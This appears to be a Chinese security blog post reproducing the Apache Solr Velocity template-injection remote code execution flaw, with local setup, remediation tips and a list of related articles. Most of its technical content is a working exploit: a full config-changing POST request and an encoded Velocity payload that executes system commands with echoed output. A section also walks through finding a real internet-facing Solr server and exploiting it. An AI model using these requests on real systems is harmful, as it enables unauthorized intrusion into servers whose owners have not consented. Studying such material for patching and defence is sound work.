Apache Solr Velocity模板注入遠程命令執行漏洞

2021-01-09 湖南蟻景

0x00 前言

今天在群裡看到有人說GitHub上公布了一個關於solr的RCE漏洞,於是立馬復現了一波!確定該poc是真實有效的。

solr簡介

Solr是一個獨立的企業級搜索應用伺服器,它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜尋引擎伺服器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。

0x01 漏洞詳情

該漏洞的產生原因:

攻擊者可以直接訪問solr admin頁面,並可以通過構造post請求來修改節點的配置.Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定模版,默認設置是false。當params.resource.loader.enabled設置為true,將允許用戶通過設置請求中的參數來指定相關資源的加載,這也就意味著攻擊者可以通過構造一個惡意的請求,在伺服器上進行命令執行,從而獲取伺服器的權限。

0x02 影響範圍

應該是影響solr5(暫不確定)到最新版本.

0x03 環境搭建

環境情況

solr版本:solr8.2.0

作業系統 windows

搭建步驟

下載漏洞範圍影響範圍內的solr,我這裡使用最新版的8.2.0 (solr啟動需要java環境的支持,所以要提前安裝好java)解壓下載的solr,然後進入到solr的bin目錄下,執行以下命令啟動solr:solr start -p 8983

可以看到顯示已經啟動

瀏覽器訪問驗證下

創建一個core,可以在網頁創建,也可以在命令行下創建.這裡演示在命令行創建

可以看到成功創建.

網頁創建core可參考:留言或私信獲取連結

訪問驗證我們的core是否創建成功:

可以看到已經成功創建!

0x04 漏洞復現

本地復現

訪問solr站點:

獲取到其core名為test.

2.訪問該core的config路徑,查看其配置,並搜索params.resource.loader.enabled參數:

可以看到其默認是關閉的.

3.我們可以通過構造POST數據包來開啟params.resource.loader.enabled

POST數據包:

POST /solr/test/config HTTP/1.1Host: 172.26.1.173:8983User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closeContent-Length: 259{"update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}

示例:

可以看到響應包.說會在未來改變(也就是我們修改的配置一會會生效)

我們重新訪問:

可以看到我們構造的請求已經成功開啟了params.resource.loader.enabled

利用GitHub上的payload進行命令執行:select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

我們靶機為windows所以修改id為windows下的命令:

網際網路站點

找一個目標:

獲取該solr的節點名:

2.進入到該節點的config:

3.ctrl + f 搜索params.resource.loader.enabled 若該參數對應的值為true 即存在該漏洞!

若對應的值為false,則可以通過發送post包來將其修改為true!

POST數據包:

POST /solr/獲取到的節點名/config HTTP/1.1Host: solr:8983Content-Type: application/jsonContent-Length: 259{"update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}

該參數為true後,直接使用GitHub上的poc:

select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

4.直接get請求:

0x04 漏洞修復

1、官方還暫未發布該漏洞的相關補丁,建議用戶設置solr後臺為登陸認證!!!

限制網際網路用戶對solr admin的訪問!

2、刪除params.resource.loader.enabled的配置。

3、時刻關注solr官方,出現新版本要趕快更新

0x05 參考連結:

留言或私信獲取連結

相關焦點

  • 「漏洞預警」Apache Solr Velocity模板遠程代碼執行復現
    漏洞背景近日,國外安全研究員s00py公開了一個Apache Solr的Velocity模板注入的漏洞。該漏洞可以攻擊最新版本的Solr,目前該漏洞利用詳情已經廣泛流傳於Github以及各大安全群,且公開的EXP可以執行任意命令並自帶回顯,官方暫未發布補丁。
  • Apache Solr 爆遠程執行漏洞,請立即限制對外埠
    近日,GitHub代碼中安全研究員S00pY發布一個Apache Solr Velocity模版注入遠程命令執行的POC,該漏洞通過WEB遠程執行,攻擊利用簡易,危害重點。截止目前該漏洞還未上報獲得PVE編號,Solr官方也沒有任何漏洞的補丁,建議使用Solr的用戶通過策略性設置封禁8983埠埠對外開放,以防止被人攻擊。漏洞介紹:Velocity Java 模板引擎: Velocity是一個基於Java的模板引擎。它允許任何人使用簡單但功能強大的模板語言來引用Java代碼中定義的對象。
  • 建議Solr 用戶更新 Apache POI
    親愛的 Apache Solr 用戶,Apache Solr 版本 4.8.0,4.8.1 和 4.9.0 都綁定了 Apache POI 3.10-beta2 版本,這個版本包含了兩個漏洞:
  • 深入解讀:Windows HTTP.sys遠程代碼執行漏洞跟蹤進展
    2014-04-02,CGI CRLF注入漏洞(CVE-2011-5279)描述:Windows NT及Windows 2000上IIS 4.x及5.x版本的CGI實現中存在CRLF注入漏洞,這可使遠程攻擊者通過CGI請求中的\n字符(新行)構造畸形請求修改環境變量,從而進一步執行任意代碼。
  • 2020HW期間公布漏洞總結(附部分漏洞Poc、Exp)
    12.ThinkPHP3.x注入漏洞13.用友GRP-u8 SQL注入14.泛微雲橋任意文件讀取15.聯軟準入文件上傳漏洞16.奇治堡壘機 Python代碼注入17.用友GRP-u8 命令執行漏洞18.Nagios命令執行19.Weblogic遠程命令執行20.網御星雲VPN老版本漏洞21.拓爾思5.0文件讀取漏洞
  • GoAhead Web Server遠程代碼執行漏洞分析(附PoC)
    原標題:GoAhead Web Server遠程代碼執行漏洞分析(附PoC) 本文是關於GoAhead web server遠程代碼執行漏洞(CVE-2017-17562)的分析,該漏洞源於在初始化CGI腳本環境時使用了不受信的HTTP請求參數,會對所有啟用了動態連結可執行文件(CGI腳本)的用戶造成影響。
  • lammps教程:velocity命令三種使用方法
    在lammps中,使用velocity命令設置原子的速度,命令格式為:velocity group-ID style args keyword value ...其中,group-ID指定哪一組原子將要被設置速度,style決定了速度設置的類型。
  • 「物聯網漏洞復現」TP-Link SR20 本地網絡遠程代碼執行漏洞
    TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物聯網協議可以用來當控制中樞 Hub 的觸屏 Wi-Fi 路由器,此遠程代碼執行漏洞允許用戶在設備上以 root 權限執行任意命令,該漏洞存在於 TP-Link 設備調試協議(TP-Link Device Debug Protocol 英文簡稱 TDDP) 中,TDDP 是 TP-Link 申請了專利的調試協議
  • 網站安全滲透測試常見的漏洞有哪些
    我們SINE安全在進行Web滲透測試中網站漏洞利用率最高的前五個漏洞。常見漏洞包括注入漏洞、文件上傳漏洞、文件包含漏洞、命令執行漏洞、代碼執行漏洞、跨站點腳本(XSS)漏洞、SSRF漏洞、XML外部實體(XXE)漏洞、反序列化漏洞、解析漏洞等。,因為這些安全漏洞可能被黑客利用,從而影響業務。以下每一條路線都是一種安全風險。
  • 「預警信息」關於SaltStack多個高危漏洞的預警通報
    近日,奇安信CERT監測到國外安全團隊披露出了SaltStack框架存在三個安全漏洞:認證繞過高危漏洞(CVE-2020-25592)、命令注入高危漏洞(CVE-2020-16846)和邏輯高危漏洞(CVE-2020-17490)。
  • Centos6.5 solr4.5 主從部署文檔
    軟體環境Linux centos6.5 64位應用容器:apache+tomcat 7.0JAVA版本:JDK1.7以上版本solr應用環境目錄:/usr/local/tomcat/solrhome (可使用ln –s 創建軟連接)Solr索引目錄:/solrhome/multicore/mallcar/ data/
  • 安全漏洞XSS、CSRF、SQL注入以及DDOS攻擊
    安全漏洞XSS、CSRF、SQL注入以及DDOS攻擊 隨著網際網路的普及,網絡安全變得越來越重要,程式設計師需要掌握最基本的web安全防範,下面列舉一些常見的安全漏洞和對應的防禦措施。
  • Solr的部署模式詳解
    適用於數據規模大,高可靠、高可用、高並發的場獨立伺服器模式架構1、每個solr伺服器實例(啟動的一個solr伺服器進程)都有一個solr主目錄(系統變量名為:solr.solr.home)。啟動伺服器實例命令bin/solr start [options]bin/solr start -helpbin/solr restart [options]bin/solr restart -help注意:重啟要用和啟動時一樣的optionsbin/solr start –s xxxdir –p port
  • 雲安全日報201204:Apache Tomcat應用伺服器發現信息洩露漏洞,需要...
    12月3日,Apache Tomcat安全團隊發布了安全更新,修復了Tomcat中信息洩露等重要漏洞。以下是漏洞詳情:漏洞詳情來源:https://lists.apache.org/thread.html/rce5ac9a40173651d540babce59f6f3825f12c6d4e886ba00823b11e5%40%3Cannounce.tomcat.apache.org%3ECVE-2020-17527 嚴重程度
  • CVE-2020-1472漏洞實戰 深度剖析
    本文作者:Faith(Ms08067實驗室 內網安全攻防知識星球) 0x00漏洞說明 CVE-2020-1472是繼MS17010之後一個比較好用的內網提權漏洞,影響Windows Server
  • 開源搜尋引擎solr介紹
    然後把「/usr/solr/server/solr-webapp/」下的「webapp」目錄,複製到「/usr/tomcat/server/webapps/」中並改名為「solr」。1.2.2 配置tomcat的web.xml該配置文件指定了solr的具體位置,好為tomcat控制solr做準備。
  • 【安全風險通告】GoAhead Web Server遠程代碼執行漏洞安全風險通告
    GoAhead Web Server 在處理具有多個Content-Disposition頭的multi-part/form-data請求時存在釋放後重用漏洞,該漏洞允許未授權的攻擊者通過發送特製的 GET 或 POST請求從而在受影響設備上遠程執行任意代碼,建議客戶儘快自查修復該漏洞。
  • 金山毒霸:Windows遠程桌面漏洞可致伺服器被入侵-Windows,遠程...
    如果用戶使用Internet Explorer查看特製網頁,這些漏洞允許遠程執行代碼。攻擊者成功利用漏洞合成可以獲得當前用戶相同的用戶權限。那些帳戶被配置擁有較少系統用戶權限的用戶比具有管理用戶權限的用戶操作影響要小。
  • 雲安全日報201124:IBM API雲平臺發現任意代碼執行和安全繞過漏洞...
    11月23日,IBM發布了安全公告,API Connect容易受到Drupal中任意代碼執行和安全繞過的攻擊。以下是漏洞詳情:漏洞詳情來源:https://www.ibm.com/support/pages/node/62403101.CVE-2020-13664 CVSS評分:8.8 高Drupal是使用PHP語言編寫的開源內容管理框架